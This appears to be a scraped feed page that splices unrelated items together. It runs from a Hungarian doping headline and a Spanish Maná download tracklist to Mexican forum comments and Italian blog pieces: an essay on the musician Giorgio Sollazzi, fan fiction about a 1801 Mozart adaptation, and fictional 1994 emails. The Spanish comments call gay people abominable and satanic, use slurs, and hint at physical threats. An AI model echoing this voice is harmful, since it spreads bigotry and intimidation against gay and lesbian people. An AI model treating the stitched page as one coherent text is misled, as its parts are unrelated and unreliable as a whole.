A szintén olasz Leonardo Piepoli is doppingolt.        
Touir de dopping
                  

 Descarga toda la discografia de mana gratis [completo]

Amar es combatir:
01. Manda una señal
02. Labios compartidos
03. Ojalá pudiera borrarte
04. Arrancame el corazón
05. Tengo muchas alas
06. Dime luna
07. Bendita tu luz (con Juan Luis Guerra)
08. Tú me salvaste
09. Combatiente
10. El viaje
11. El rey tiburón
12. Somos mar y arena
13. Relax


Revolucion de amor:
01. Justicia, Tierra Y Libertad
02. Ay, Doctor
03. Fe
04. Sábanas Frías
05. Pobre Juan
06. ¿Por Qué Te Vas?
07. Mariposa Traicionera
08. Sin Tu Cariño
09. Eres Mi Religión
10. No Voy A Ser Tu Esclavo
11. Ángel De Amor
12. Nada Que Perder


Grandes exitos mana:
01. Perdido en un barco
02. Rayando el Sol
03. Vivir sin aire
04. Oye mi amor
05. Te lloré un río
06. Cómo te deseo
07. De pies a cabeza



dijo:
[/quote]
          Que bonito es esto un cuartel militar y piensan g...        
Que bonito es esto un cuartel militar y piensan gastar todo este dinero habria tambien que preguntar si van a tener ornos quematorios para matar alos que ellos mismos secuestran como ayosinapa en donde ellos mismos se cree que insineraron alos estudiantes y todo esto es para tener mas control de los municipios porque ya saben que se abesina una guerra y asi empiesan a inponer el miedo a nivel estatal y si todavia vamos a darles premios a estos pendejos en donde tienen la cabesa si no tenemos guerra ni se nesesitan estos sardos son en contra del pueblo ellos no les importa mas que chupar sangre y si son unos sanganos para que para que maten jente y biolen roben y hagan lo que hacen en otros estados son enemigos del pueblo y no me parese que se aga esto mejor hacer parques o arreglar el rio de tepa las carreteras o mejor darles a los pobres ayuda a esto si para hacer el mal si rapido para reprimir si eso si porque no mejor gastan en hospitales oh los ninos dela calle y tantos viejitos desanparados con hambre que chingones estos politicos corructos para oprimir al pueblo si de bolada que raro apenas se les ocurrio no sera que lla saben que esta apunto de empesar una guerra en todo mexico y ahora si quieren reprimir aqui a la region delos altos pues que no saben que cuando vas a recojer tu cartilla militar ala region delos altos la tiene circulada con rojo pues el miedo es grande aqui en tepa les partieron toda su madre los cristeros y ahora se escucha los rumores de que en jalisco ay mas de tricientos mil hombres listos para darles en su madre a estos vende patrias y estos soldados son una carga ala nacion muy grande no se nesecitan y no nesesitamos reprecion para nada y no nos sirven por lo tanto buen intento con tantos parasitos de enpleados publicos y no ay dinero ni para tapar un mugre oyo si lo hacen creo que se acabo el pago de inpuestos y se hacabo el corrido para hacer el mal son chingones como siempre pura maldad y todo contra el pueblo que los aguante su madre que los pario a estos bastardos ah y que buenos para la coperacha son ah si lo hacen vamos a estar como los de ayosinapa van a desapareser los estudiantes y todos los que no sean asu fabor y cual ley pura corrucion y toda via creen en disneylandria que so lo crean en otro pais aqui no
          Ha ha cuando te refieras a mi te lavas la boca...        
Ha ha cuando te refieras a mi te lavas la boca si como tu tan estudiado y tan joto mira como estamos por jente como tu este pais es un desmadre y bienes a desirme esto estas bien pendejo de tu cabesa o te falta que tapen la voca eres uno de esos mugrosos me gustaria verte para ensenarte buenos modales y de jotos y lesbianas ya estamos asta la madre y tu
chilango banda ya te estas largando por que tu si que no eres de tepa que quede claro que la empsaste ahora si se armo y yo si te cunplo tus gustos con migo no juegas para que veas y si la primaria abierta te la pones en yoyo y que aprobeche esto es para ti espinoso menso ahh
          Ah Claro que lo inrespetuoso de esta lesbiana en d...        
Ah Claro que lo inrespetuoso de esta lesbiana en donde cabe minimo cuando una persona biene a tu casa o ciudad ay que respetarla y si esta con el mensaje que es bueno ay que escucharlo ah y yo no los conosco a estos diplomaticos y no soy de ningun closed yo si se como me llamo y como me apeido y tan bien tengo el conocimiento dela palabra de dios y dios dice que es abominable eso es asi con pruebas y no soy un militante de estos pero soy de tepa y aqui en tepa no queremos esto tepa es una ciudad santuario y no debemos admitirlo esto es satanico y no queremos esto por que es una degradacion del ser humano los que se quieran condenar pues condenesen ustedes pero fuera de nuestra ciudad y aqui sus porquerias no las queremos ni sus maldiciones que atraen y lo malo es malo que quede claro es abominacio alos ojos de dios por lo tanto estan fuera Y que Elogin que esta viendo esto sea quien aga justicia ah y estos traen maldicion alos pueblos tepa es y sera ciudad de justos no de pecadores o satanicos basado en verdad el cielo o el infierno asi es esto los dos caminos estan puestos si tienen preguntas pues preguntenme para ayudarlos abran los ojos y quiten la venda del pecado y la falta de sabiduria sean libres de verdad la palabra de dios los ara libres si senor
          Gli infiniti possibili di Giorgio Sollazzi, musicista        
All'epoca ero molto ingenuo e molto presuntuoso e pensavo di poter scrivere “recensioni” di grandi opere musicali del passato. Le pubblicavo su un sito commerciale (che esiste ancora oggi). Quando mi venivano bene, erano “schede" molto pedantesche, contenenti le stesse informazioni che si possono trovare su una qualsiasi garzantina. Infatti, qualche anno dopo, quando Wikipedia arrivò in Italia, smisi di farmi sfruttare dal sito commerciale e trovai quella che probabilmente è la mia vera vocazione internettiana.

Ad ogni modo fu sul sito commerciale che conobbi Giorgio Sollazzi. Anche lui scriveva recensioni. Con la prima, importante differenza che lui è musicista, e quindi sa di cosa scrive, e con una seconda differenza: le sue recensioni erano avvincenti, estrose, godibilissime, anche e soprattutto quando sembrava che non avessero nulla a che fare col brano musicale che - in teoria - ne costituiva l'oggetto. Le recensioni di Giorgio non parlavano precisamente né del brano musicale “in sé”, né della sua ricezione da parte dell'ascoltatore-recensore. Si situavano, piuttosto, in qualche punto lungo la relazione fra questi due elementi, come un acrobata in equilibrio su un filo, o come uno dei fuochi di due specchi parabolici contrapposti. Non per niente “mirrors” (con la m minuscola) era il nickname che Giorgio si era scelto.

A un certo punto Giorgio uscì dal sito e cancellò il suo account. Dev'essere per questo che, cercando ora qualcuna delle meravigliose recensioni di mirrors, non ne trovo nessuna. Qualche tempo dopo si iscrisse nuovamente con un altro nickname e cominciò a pubblicare recensioni di forma più tradizionale, ma sempre molto belle, come ad esempio questa, sulla settima di Beethoven.

L'interpretazione verbale di un brano musicale è sempre un grosso azzardo. "Scrivere di musica è come ballare di architettura", diceva Frank Zappa. Le descrizioni che amo di più sono quelle di musiche inesistenti, come la sonata di Vinteuil in Proust o le composizioni immaginate da Thomas Mann nel Doktor Faustus. Proust mescolava genialmente le carte, inventandosi una sonata per violino e pianoforte che prendeva un po' dalla Sonata in re minore di César Franck, un po' da un quintetto di Saint-Saëns, senza essere né l'una né l'altro; in piena coerenza, d'altronde, con la sua estetica, dove non esistono "descrizioni" "realistiche" del "mondo esterno". Quanto a Mann, Arnold Schönberg s'inalberò quando seppe che la sua musica aveva ispirato quella del romanzo, al punto da pretendere una smentita da parte dello scrittore. E dal suo punto di vista Schönberg aveva anche ragione, in quanto Mann interpretava la dodecafonia come un fenomeno di dissoluzione morale, che era quanto di più lontano dagli intenti del severo musicista.

Ma anche divagare è un'arte, che a me non riesce: ci provo inutilmente, per poi subito ricadere nel mio solito modo di scrivere pedestre e nozionistico. Dunque, meglio rimanere on topic e parlare di Giorgio Sollazzi. Ecco: quando lo conobbi, non attraversavo quello che si dice un buon periodo. Mi ero laureato, avevo fatto il servizio civile, abitavo a casa dei miei in provincia, lontanissimo dall'università e dai miei amici di laggiù. Gli altri miei amici, quelli del liceo, erano sparsi in giro per l'Italia. Facevo pratica in uno studio legale. Ero, in sostanza, disoccupato, e mi sentivo terribilmente solo e senza prospettive. L'amicizia epistolare con Giorgio mi aiutò a tenermi in piedi. Ci scambiavamo commenti e messaggi sul sito commerciale (che fungeva anche un po' da social network), email, ma anche lettere cartacee: ricordo un plico meraviglioso che egli mi spedì con un CD che aveva masterizzato per me. Dentro c'erano un brano di Stockhausen, Il canto sospeso di Nono, un coro dal Trovatore, e non ricordo cos'altro.

A quel tempo Internet non aveva ancora stravolto la distribuzione della musica. C'era Napster, ma con le connessioni lente di allora non è che si riuscisse a scaricare granché. Per ascoltare musica bisognava ancora affidarsi alla radio, oppure ordinare il disco al negozio e aspettare che arrivasse. C'era poi una circolazione semiclandestina di audiocassette duplicate artigianalmente, che passavano di mano in mano come samizdat. Tutta una dimensione romantica, di scoperta, che si è persa dal momento in cui è bastato digitare un nome su un motore di ricerca per avere subito a disposizione l'intera produzione di qualsiasi musicista antico o contemporaneo.

Poco tempo fa ho chiesto a Giorgio se, come musicista, non si sentisse stimolato da questa odierna vasta disponibilità di musiche, e come mai ciò non lo inducesse a scrivere in una tale, enorme varietà di stili e di linguaggi: oggi un brano dodecafonico, domani uno pop, dopodomani uno free jazz, e via dicendo. Non ricordo esattamente il tenore della mia domanda - che comunque era piuttosto stupida, si capisce. Ricordo invece perfettamente la replica di Giorgio: fare come gli suggerivo io - mi ha risposto - avrebbe forse aumentato il suo tasso di libertà ma avrebbe diminuito il tasso di scelta.

In uno dei suoi romanzi, Nicola Lagioia offre alcune riflessioni molto interessanti a proposito del ritrovare sui social network i propri amici di gioventù. Queste amicizie del mondo reale divenute poi virtuali - osserva Lagioia - hanno una strana consistenza umbratile. Simile a quella degli spiriti nell'undicesimo libro dell'Odissea (o nel sesto dell'Eneide), aggiungerei io. Colpa del mezzo, evidentemente, e non dell'amicizia in sé - ma questo è un altro discorso.

Conosco Giorgio da sedici anni e non ci siamo mai incontrati di persona: solo via Internet, e qualche volta per telefono. Però non ho mai avvertito come un limite la virtualità della nostra amicizia. Forse perché nel suo caso manca il confronto con l'immagine mnemonica della persona reale, o forse per il felice paradosso che Giorgio riesce a realizzare nelle sue comunicazioni virtuali, allo stesso tempo lievi e intense.

Sto pensando che “lieve” e “intenso” potrebbero essere i due primi aggettivi che mi vengono in mente ascoltando la musica di Giorgio. Mi rendo conto che come contributo critico è parecchio inadeguato, ma ho già detto che non sono del mestiere. Giorgio ha esposto la sua poetica (o almeno, una delle sue poetiche) in uno scritto che potete trovare qui.

In questo saggio, Giorgio prende le mosse dal personaggio di Amleto (con annesso spettro del re di Danimarca?) per proporre una sua complessa concezione della composizione, come “apparizione” o “evocazione” di “potenziali”. 

Shakespeare era un altro interesse che ci univa quando scrivevamo sul sito commerciale. Giorgio ha molto riflettuto, e qualcosa ha anche scritto, sia in prosa sia in musica, sulla figura di Amleto.


Quanto a me, partendo dalla constatazione che su Internet in italiano c'era ancora poco materiale sull'argomento, mi ero messo in testa di compilare e mettere on line una "recensione" per ciascuno dei drammi del Bardo. Tanto ero sprovveduto, a quell'epoca.

Più tardi abbandonai l'insano progetto, assieme alle mie velleità di anglista, e praticamente smisi di leggere Shakespeare. Oggi amo recarmi, di quando in quando, a visitare l'abbazia cistercense di Morimondo. Questo non c'entra nulla con quanto ho detto finora. Però nell'abbazia c'è un bel coro ligneo di epoca rinascimentale.

Ogni volta che lo vedo recito mentalmente la prima quartina del Sonetto LXXIII.

La migliore traduzione italiana è quella di Ungaretti:

"Quel tempo in me vedere puoi dell'anno
Quando già niuna foglia, o rara gialla in sospeso, rimane
Ai rami che affrontando il freddo tremano,
Cori spogliati rovinati dove gli uccelli cantarono, dolci".

Di solito i commentatori sottolineano il senso di desolazione che promana da quei bare ruin'd choirs, vuoti, semidistrutti e muti. Sta di fatto che Shakespeare, mentre ce li descrive, riesce in qualche modo a farcene riascoltare il suono. Forse questa è una delle cose che il poeta vuole dirci: la memoria, aiutata dall'arte, può riuscire ad evocare la musica di un coro assente.














          Tifiamo Scaramouche!        
Tifiamo Scaramouche è una raccolta di racconti in quattro volumi che possono essere scaricati liberamente in formato PDF dal sito dei Wu Ming. Si tratta di una fan fiction derivante da L'armata dei sonnambuli, l'ultimo romanzo storico del collettivo uscito nel 2014.

A curare la raccolta è stato Simone Scaffidi L. Da un'idea di: Pietro Pace, Mauro Vanetti e Alessandro Villari (Avvocato Laser). Il progetto grafico e l'impaginazione si devono a Franco Berteni (Mr Mill) e Simone Scaffidi L. La copertina e le illustrazioni sono di Alessandro Caligaris e Francesca Sibona.

Qui di seguito, ecco il mio contributo, pubblicato nel terzo volume della raccolta. Buona lettura.


Il flauto tradito
Parigi, 1801

1.

A suo modo, Ludwig Wenzel Lachnith era un uomo generoso. La sera del 20 agosto 1801, dopo la trionfale prima della sua opera I misteri d'Iside al Teatro della Repubblica, il compositore offrì la cena all'intera troupe, comparse e suggeritore compresi.
Benché relegate al tavolo meno prestigioso dell'ampia sala del ristorante, le due comparse Léo Modonnet e Emanuele Gizzio potevano udire facilmente i discorsi del tavolo principale, quello dove sedeva Lachnith assieme al manager del teatro, al librettista Étienne Morel de Chédeville e ai cantanti protagonisti. Per meglio dire, potevano udire il monologo del torrenziale musicista boemo, la cui voce sopravanzava quelle di tutti gli altri.
«Eh sì, caro Chédeville! Il buon Mozart aveva del talento, questo nessuno lo vorrà negare; ma aveva anche un'esecrabile tendenza al lambiccato, all'insolito... In una parola: troppa complicazione! Oggigiorno il pubblico non ne vuole sapere di una musica che sia troppo difficile. La gente vuole ariette semplici, presentate con garbo, che tocchino il cuore senza affaticare il cervello. Prendete il Don Giovanni: quante graziose melodie! Parola mia, credo che abbiamo fatto bene a prenderne una in prestito, per il nostro terzetto. Tuttavia, andiamo... La scena con la statua nel finale secondo... Chi può sopportare una tale rombante cacofonia? Pensate solo questo: in quattro battute, quel povero basso deve cantare tutte e dodici le note della scala cromatica. Sapete? Un mio amico italiano, galantuomo e compositore eminente, mi parlava tempo fa con orrore di un certo quartetto per archi, dove Mozart ha accumulato tante di quelle dissonanze da creare un ripugnante caos, direi quasi un giacobinismo sonoro, dove va completamente perso ogni giusto criterio di gerarchia tra le sette note... Di proposito dico sette, non dodici; giacché nessuno, a meno che il suo orecchio non sia guastato dalla musica per tastiera, crederà mai che un re diesis possa essere uguale a un mi bemolle... Anzi: un re è sempre un re, come dicono in Italia, non è vero?».
«Ma va' curcati, buffuni!» commentò Gizzio a mezza voce.
«Perciò, quando mi fu proposto di allestire per le nostre scene Il Flauto magico, la prima cosa che pensai fu: sta bene; ma, per carità, sfrondiamo! Semplifichiamo!
Smussiamo le asperità del testo! Rendiamo il tutto più comprensibile, più adatto alle orecchie del nostro pubblico. Più elegante, anche. E l'esito così radioso di questa serata ha dimostrato che avevamo avuto pienamente ragione. Prima di tutto: i nomi. Tutti quei Tamino, Papageno e Papagena del testo originale, così goffi e plebei, noi li abbiamo cambiati nei molto più raffinati Isménor, Bochoris e Mona...».
Modonnet rise.
«Non voglio parlare della parte musicale. Ho dovuto lavorare parecchio di forbici e d'ingegno per dare una veste accettabile alla barbarica partitura. Ma, per quanto riguarda il vostro lavoro, Chédeville, potete andare orgoglioso di avere addolcito il carattere di quella terribile regina della notte. Certo, l'aria del secondo atto l'abbiamo dovuta proprio espungere: a parte che è impossibile da cantare, ma quel testo “der hölle Rache kocht in meinem Herzen...”, “vendetta infernale sento nel mio petto”... Ahimè! Una gentile e amabile donzella come voi, signorina Maillard, avrebbe dovuto intonare tali parole? Per carità! Abbiamo già sofferto abbastanza, qualche anno fa, con quella spaventosa Medea di Cherubini. Basta, basta! I personaggi femminili, a teatro, devono rassicurare, non inquietare! Belle fanciulle, mogli e madri esemplari: questo vuole il nostro distinto pubblico. Perché la gente, la sera, vuole distrarsi dai traffici quotidiani del commercio e della Borsa, e trovare sollievo dalle cure dello Stato. Dirò di più: nell'epoca moderna la gente vuole vivere il proprio tempo come un affascinante, mutevole, infinito spettacolo. In una parola, vuole divertirsi. Il nostro compito è di farli divertire. E questa sera ci siamo riusciti; possiamo affermarlo con fierezza. Brindiamo!».

2.

Erano passate le quattro del mattino quando Modonnet e Gizzio ritornavano al foborgo Sant'Antonio. Davanti alle botteghe dei fornai c'erano già le prime code. I volti e i discorsi delle persone in fila per il pane manifestavano stanchezza, frustrazione, rabbia.
«Quattordici soldi per quattro libbre di pane! Così non si può andare avanti».
«Uno schifo, altro che!».
«Bonaparte non sta facendo un cazzo».
«Sbagli, cittadina. Bonaparte sta facendo parecchio. Solo, non per noialtri».
«Per i grandi proprietari. Per i nobili, gli speculatori, i fornitori dell'esercito e i finanzieri. Per quei merdosi, ecco per chi sta lavorando il Primo console...».
Gizzio sembrava ancora più taciturno del solito. Per tutto il cammino dal centro al foborgo, dove lui e Modonnet abitavano, disse a malapena due parole, eccettuate le strane bestemmie che ogni tanto sputava tra i denti.
«Toglimi una curiosità» gli chiese alla fine Modonnet mentre stavano per arrivare a casa. «Al tuo paese è normale invocare con tanta frequenza la ghigliottina su Gesù Cristo, sulla Madonna e su tutti i santi, come fai tu?».
Gizzio rise amaramente: «Lo facciamo di continuo. Tutti, anche i bambini e i preti. Vieni a vivere un mese dalle mie parti, e capirai».
«Non mi ricordo mai come si chiama la tua città».
«Io stesso vorrei non ricordarmene. Comunque, non è una città: è un villaggio di poche anime sperduto nell'Aspromonte. Ammesso che esista ancora. Non ho sue notizie da due anni, cioè da quando sono venuto qui a Parigi».
Era il discorso più lungo che Modonnet gli avesse mai udito fare.
«Ma no» proseguì Gizzio, come parlando fra sé. «Giudico troppo severamente i miei compaesani. In fondo, nessuno di loro si è arruolato nell'Armata cristiana e reale». Gizzio pronunciò queste ultime parole con una smorfia di disgusto.
«Ne ho sentito parlare» commentò Modonnet. «Le bande del cardinale Ruffo, non è vero? Una specie di Vandea...».
«Molto peggio. I vandeani, almeno, sapevano per cosa combattevano; i sanfedisti invece si sono solo fatti affascinare dai feudatari e dai preti. Hanno avuto quello che si meritavano. Li aspettano altri due o tre secoli di dispotismo e di miseria. E ti dico la verità: penso che anche qui, in Francia, andrà a finire allo stesso modo. Te lo concedo: finora il popolo di Parigi si è comportato bene, specialmente i tuoi compagni del foborgo Sant'Antonio. Ma quanto ancora potranno resistere? I contadini francesi non sono affatto
più intelligenti di quelli del Regno di Napoli; nelle campagne già da tempo monta la reazione. Gente che cerca solo un padrone cui obbedire; e in buona parte l'ha già trovato. E allora non chiedermi perché bestemmio, Léo: mi è rimasto solo questo, mannaia lu signuri!».
«Ho sempre apprezzato il tuo ottimismo, cittadino Gizzio!» concluse Modonnet.

3.

Uno dei vantaggi del mestiere teatrale è che permette di dormire sino a tardi; quando si ha un tetto sotto cui ripararsi, naturalmente. Léo Modonnet, per ora, l'aveva; ma quella mattina dormì lo stesso un sonno assai inquieto. Verso mezzogiorno, poco prima di svegliarsi, fece uno dei sogni più enigmatici della sua vita.
Era un sogno musicale. Modonnet udiva con una chiarezza allucinatoria una breve melodia, gentile e saltellante, in uno stile antiquato, suonata da una piccola orchestra. Poi, lo stesso tema, ma eseguito da un'orchestra molto più grande, con accenti molto più imperiosi e con una chiusa cromatica vagamente minacciosa. A questo punto appariva uno strano ometto, che si esprimeva con un forte accento tedesco. «Ogni vero artista, mein Freund, è anche uno Zauberer – un mago –, sì. Può capitargli di prevedere un futuro imprevedibile. Cosa, o chi, aveva in mente Rousseau quando, riferendosi alla Corsica, scriveva: “ho il vago presentimento che un giorno questa piccola isola stupirà l'Europa”? E quel ragazzino di dodici anni, che un giorno nel mio giardino mise in scena il suo Bastien und Bastienne – come poté presentire che un giorno la volontà generale sarebbe stata manipolata e circuita da un tiranno? Eppure, mein Freund, la storia non è mai un copione già scritto, così come una partitura non è mai immodificabile. E quando ci si accorge che la pagina è guasta, rimane sempre una soluzione: strapparla».
Modonnet si svegliò frastornato e con un forte mal di testa. Senza sapere bene perché, la prima cosa che fece fu aprire il suo baule per cercarvi un involto. Dentro c'erano una maschera nera, un mantello e un bastone dal manico lucente.
Quella notte, Ludwig Wenzel Lachnith, davanti al portone di casa sua, mentre frugava un po' alticcio nelle tasche del suo soprabito per cercare la chiave, notò una scritta di colore rosso fosforescente sul muro proprio accanto alla porta:

RACHE

Prima che avesse il tempo di chiedersi cosa stava succedendo, avvertì il brivido freddo di una lama proprio sotto il mento, e udì alle sue spalle una voce altrettanto metallica e tagliente: «Cittadino musicista, vogliate cortesemente condurmi nel vostro studio».
«Come volete, amico mio» diceva Lachnith mentre saliva le scale, tallonato da Scaramouche. «Non c'è bisogno di tutta questa commedia... vi ho riconosciuto, sapete?».
«Merda» pensò Modonnet.
«Eravate con me a cena ieri sera. Ammetto che il ruolo che vi è stato assegnato nell'ultima produzione è al di sotto delle vostre capacità attoriali; ma tenete conto che si tratta di un'opera, e che Voi non sapete cantare. Ho delle conoscenze, e posso farvi ottenere una buona scrittura per la prossima stagione di prosa... però, immagino che vogliate un risarcimento più immediato, e in contanti».
Erano intanto entrati nello studio del compositore.
«Immaginate male» disse Scaramouche. «Voglio solo porre rimedio a uno dei più insensati e odiosi crimini contro il buon gusto e il buon senso che si possano citare nella storia dell'arte musicale. Voglio cancellare la macchia con cui voi avete insudiciato la memoria di un grande musicista. Voglio che mi diate la partitura originale di quello scempio chiamato I misteri d'Iside».
«Eccola». Lachnith sollevò un manoscritto dal ripiano della sua scrivania e lo consegnò a Scaramouche: «Cosa ve ne farete, adesso?».
«Non lo so ancora. La strapperò in mille pezzi e la getterò nella Senna. Oppure ne attaccherò i fogli ai muri di Parigi per denunciare la vostra cialtroneria».
Lachnith rise: «Vedo che siete un idealista. Forse non vi siete accorto che i tempi sono cambiati e che la rivoluzione è finita. Permettetemi di darvi un consiglio: perché non ve ne tornate in Italia? Laggiù c'è ancora da fare per le teste calde come voi. Già che ci siete, portate con voi quel musone del vostro amico, e ditegli che non è colpa nostra se i giacobini napoletani erano degli imbecilli... se avessero dato subito la terra ai contadini, anziché perdere tempo in chiacchiere, le cose sarebbero andate molto diversamente».
«Ce ne ricorderemo per la prossima rivoluzione» disse Scaramouche.

Nota bibliografica

Questo racconto deve molto al primo capitolo del libro di Augusto Illuminati Gli inganni di Sarastro, Einaudi, Torino 1980, che indaga – sia pure con qualche eccessivo schematismo – le relazioni fra la teoria politica di Rousseau, le scoperte di Franz Anton Mesmer, il Bastien und Bastienne – la cui prima rappresentazione si dice abbia avuto luogo nel giardino della casa di Mesmer a Vienna – e Il flauto magico di Mozart.
Hector Berlioz nelle sue Memorie critica con estrema durezza l'adattamento molto libero de Il Flauto Magico realizzato da Lachnith sotto il titolo de Les mystères d'Isis. Il testo originale delle Mémoires di Berlioz (Parigi 1865) è facilmente reperibile in Internet.
Sulle critiche rivolte a Mozart dal musicista suo contemporaneo Giuseppe Sarti si veda il saggio Sarti contro Mozart di Massimo Mila, ora in M. Mila, Mozart. Saggi 1941-1987, Einaudi, Torino 2006, pp. 332-58.
La sorprendente identità fra il tema iniziale dell'ouverture del Bastien und Bastienne e l'inizio della Terza Sinfonia di Beethoven è, secondo Hermann Abert – citato da Wolfgang Hildesheimer nella sua nota biografia mozartiana –, una pura coincidenza. Com'è noto, Beethoven intendeva intitolare la sinfonia a Napoleone Bonaparte; secondo la tradizione, il musicista strappò la dedica quando seppe che Napoleone si era fatto incoronare imperatore.
Il parallelo fra Napoleone Bonaparte e il Sarastro di Mozart/Lachnith si trova in Jean Tulard, Napoleone. Il mito del salvatore, Rusconi, Milano 1980, p. 9. Alle pp. 183-85 dello stesso libro si parla della crisi alimentare in Francia fra la primavera del 1801 e il 1802.
Le idee esposte qui da Lachnith sulla modernità come spettacolo e sulla “gente” che si vuole divertire derivano in realtà dal libro di Alessandro Baricco L'anima di Hegel e le mucche del Wisconsin, Feltrinelli, Milano 2009.


          1994        

From: "scrittore della domenica" <scritdom72@unimi.it>
To: "lorenzo" <Lrnz73@unipi.it>
Date sent: Mon, 14 Feb 1994 12:09:05
Subject: Eccomi

Mannaggia a te! Che c'era di male nelle lettere cartacee? Signornò. "Dai, mandami un'e-mail! E' facile, divertente, vedrai!". - Intanto ho dovuto iscrivermi al laboratorio d'informatica di questa cavolo di università, dove bisogna fare domanda in carta bollata anche per un caffè al bar. Poi, io il computer manco lo so usare. A quest'ora dovrei essere in sala studio a preparare l'esame di diritto privato comparato (capirai); invece sto qua ad arrovellarmi con tastiera e mouse.

Va beh. Ti scrivo per questo: devi assolutamente registrarmi un po' di cassette di musica rock. Hai presente? Quella che tu hai sempre detto che io la snobbo. Specialmente, quanto più progressive anni '70 riesci a procurarmi. Non so, gli Yes, i Genesis, i King Crimson, quella roba là. E poi il grunge. Non i Nirvana, ché onestamente non li reggo: Smashing Pumpkins, Pearl Jam, Soundgarden. E magari della musica da discoteca, però di un certo livello. E ci sarebbe un pezzo di un gruppo inglese che mi ossessiona, si chiama... ce l'ho sulla punta della lingua. Basta, appena mi ricordo il titolo te lo dico.

No, non sono impazzito. E' che ho conosciuto una ragazza molto simpatica che ha questi gusti musicali. Anche molto bella, a dire la verità. Anzi, la sola cosa che le vorrei dire è proprio questa: che la trovo bellissima. Ma, tu mi conosci; non c'è verso; se provo ad affrontare l'argomento, ammutolisco senza rimedio. Così mi servono urgentemente altri argomenti di conversazione. Lei studia inglese, e fin qui posso arrangiarmi. L'ho anche accompagnata a lezione, ho studiato i suoi appunti. Sai? Sto diventando, credo, il massimo esperto di T. S. Eliot di tutto il basso Ionio reggino. Quest'estate, se non altro, potrò esibirmi nei locali sul lungomare recitando The Waste Land a memoria.

Ma tutto questo non basta. Prima o poi dovrò trovare il coraggio di invitarla a uscire una sera, che so, ad un concerto, o addirittura (non ridere) a ballare. Perché ho capito che alle matinée in Conservatorio lei non ci viene. Ebbene, è qui che subentri tu. Devi aiutarmi ad andare oltre Beethoven. Ripeto, procurami del rock, perché mi serve come il pane!

Attendo tue notizie, stammi bene.

P.S. Mi sono ricordato il titolo di quella canzone: Creep, dei Radiohead.


From: "scrittore della domenica" <scritdom72@unimi.it>
To: "lorenzo" <Lrnz73@unipi.it>
Date sent: Mon, 21 Mar 1994 15:31:22
Subject: Re: Re: Eccomi

Grandi novità! Abbiamo occupato. Ora la nostra casa dello studente è Pensionato Universitario Occupato Autogestito. L'abbiamo deciso venerdì sera, al termine di un'agitata assemblea sugli ultimi aumenti delle rette e della mensa. Io mi sono aggiudicato la gran parte dei turni di notte in portineria: sia per evitare i turni di pulizia, sia perché mi piace fare le ore piccole e perché durante l'occupazione c'è un bel clima. Si parla, si beve, si fuma tabacco e non solo: effettivamente, non sto studiando granché. Però mi diverto.

Ieri, per esempio, verso la mezzanotte la situazione comprendeva una bottiglia di mirto, uno stereo, sei-sette persone fra cui Alice (la ragazza di cui ti ho parlato nella mia ultima lettera) e me. Il guaio è che dopo un'oretta loro sono usciti, per andare credo in discoteca, mentre io dovevo rimanere per continuare il turno; ma mi hanno lasciato la bottiglia, d'altronde semivuota, e lo stereo. O forse due bottiglie e due sterei, a quel punto non capivo più bene. Sono riuscito, in qualche modo, a togliere la cassetta dei Rage Against The Machine e a mettere su il Lamento d'Arianna di Monteverdi, che in quel momento era anche più adatto.

A proposito: mi hai registrato le cassette che ti ho chiesto? Se scendi anche tu in Calabria per le elezioni, tra una settimana me le puoi dare. Ma l'hai visto quel pagliaccio miliardario? E pensa che magari qualcuno lo voterà anche. Viviamo in un paese meraviglioso.


From: "scrittore della domenica" <scritdom72@unimi.it>
To: "lorenzo" <Lrnz73@unipi.it>
Date sent: Fri, 15 Apr 1994, 16:05:30
Subject: buona notte al secchio

La sai una cosa? Tre anni fa, dopo il diploma, commisi un solo errore.

Allo sportello della stazione chiesi un biglietto per Milano. Sbagliai: avrei dovuto comprare un sola andata per Londra, o per Parigi, o per Berlino.

L'occupazione è finita. L'Ente per il Diritto allo Studio ha promesso che, col nuovo bilancio, ben il 3,75% delle risorse aggiuntive sarà stanziato per porre rimedio ai recenti rincari delle tariffe, compatibilmente con il principio del pareggio contabile.

Insomma: non abbiamo ottenuto un bel niente.

Ho saputo che Alice si è fidanzata. Con uno studente d'ingegneria, milanese da varie generazioni e di ottima famiglia, buon giocatore dilettante di basket. Ha una macchina svedese con doppia alimentazione, benzina verde e gas, perché bisogna proteggere l'ambiente. Un bravissimo ragazzo.

Tutto è perduto. Mentre questa ridicola nazione, consegnatasi ancora volontaria nelle mani di un tirannello squilibrato, si avvia verso il suo triste destino, io ti comunico la mia irrevocabile decisione.

Pongo rimedio al mio errore.

Espatrio.

E basta, con queste e-mail del piffero! Ti farò avere prossimamente il mio nuovo recapito estero.

La sai un'altra cosa? Siamese Dream degli Smashing Pumpkins è molto più noioso della più tediosa sinfonia di Bruckner.


From: "scrittore della domenica" <scritdom72@unimi.it>
To: "lorenzo" <Lrnz73@unipi.it>
Date sent: Tue, 26 Apr 1994 16:28:43
Subject: scherzavo

E niente: all'estero non sono andato.

Ti spiego cos'è successo.

Sai che mi è sempre piaciuto stare sveglio fino a tardi; ultimamente sto esagerando; mi succede spesso di fare l'alba. Da un po' non scendo neanche più in sala studio, per non rischiare d'incontrare Alice. La sera me ne sto tappato in camera, ascoltando Brahms.

Un mio consiglio per i giovani: se abitate in una casa dello studente, cercate di non innamorarvi mai di un'altra persona ospite del pensionato. Soprattutto se non corrisposti.

Bene: domenica notte, mentre studiavo, ho messo su il Tristano. Così, tanto per cambiare. Ma, poco dopo il preludio, ho dovuto spegnere.

Frisch weht der Wind
Der Heimat zu
Mein Irisch Kind,
Wo weilest du?


Mi si è annebbiata la vista, e ho scoperto che avevo finito i kleenex. Ho chiuso il libro. Mi sono alzato dalla sedia e sono andato a lavarmi il viso con l'acqua fredda. Poi sono tornato alla scrivania.

Ho acceso il quinto canale della radio (quello che trasmette solo classica). C'era un brano di avanguardia; una cosa che non conoscevo, una specie di collage sonoro sul tipo di Revolution 9 dei Beatles, hai presente? Folle in tumulto, suoni strani, rumori ambientali, nastri in loop, voci umane che declamano sillabe incomprensibili. Un delirio.

Roba forte! Ho attaccato lo spinotto delle cuffie alla radio e mi sono sparato il brano nelle orecchie, chiudendo gli occhi e reclinando indietro la testa. A un certo punto, dal tappeto sonoro ha cominciato a emergere una voce femminile, che sembrava pronunciare un testo coerente. Dapprima si sentiva sullo sfondo, e non si capiva bene cosa dicesse; qualcosa sul Vietnam. Man mano, la voce diventava sempre più forte, più netta, e veniva sempre più in primo piano. Alla fine, con una presenza sonora impressionante, la voce scandiva, anzi no scolpiva, queste parole: "Rimanete qui, e combattete per la vostra dignità di uomini".

